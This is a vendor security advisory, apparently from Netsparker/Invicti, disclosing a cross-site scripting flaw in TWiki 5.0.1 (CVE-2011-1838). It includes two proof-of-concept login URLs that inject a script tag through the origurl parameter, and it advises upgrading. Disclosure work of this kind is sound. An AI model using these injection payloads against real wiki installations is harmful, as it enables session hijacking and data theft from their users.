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XSS Vulnerability Identified in Twiki with Invicti

Information

Advisory by Netsparker (now Invicti)
Name: XSS vulnerability in TWiki
Software: TWiki 5.0.1 and possibly below.
Vendor Homepage: http://twiki.org/
Vulnerability Type: Cross-Site Scripting
Severity: High
Researcher: Mesut Timur
Advisory Reference: NS-11-005
CVE: CVE-2011-1838

Description

TWiki® is a flexible, powerful, and easy-to-use enterprise wiki, enterprise collaboration platform, and web application platform. It is a Structured Wiki, typically used to run a project development space, a document management system, a knowledge base, or any other groupware tool, on an intranet, extranet, or the Internet.

Details

TWiki is affected by XSS vulnerabilities in version 5.0.1.
Example PoC url is as follows:

http://example.com/bin/login?sudo=sudo;origurl=http://example.com/bin/view/Main/TWikiAdminUser%00%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert%280x00044C%29%3C%2Fscript%3E
http://example.com/bin/login/Main/WebHome?'"1=;origurl=1'"--></style></script><script>alert(0x00039C)</script>

To learn more about Cross-Site Scripting vulnerabilities, see Cross-site scripting (XSS)

Solution

Upgrade to the latest TWiki version (5.0.2).

Credits

It has been discovered on testing of Invicti Web Application Security Scanner.

References

  1. Vendor URL: http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2011-1838
  2. MSL Advisory Link: /web-applications-advisories/xss-vulnerability-in-twiki/
  3. Invicti Advisories: /web-applications-advisories/

About Invicti

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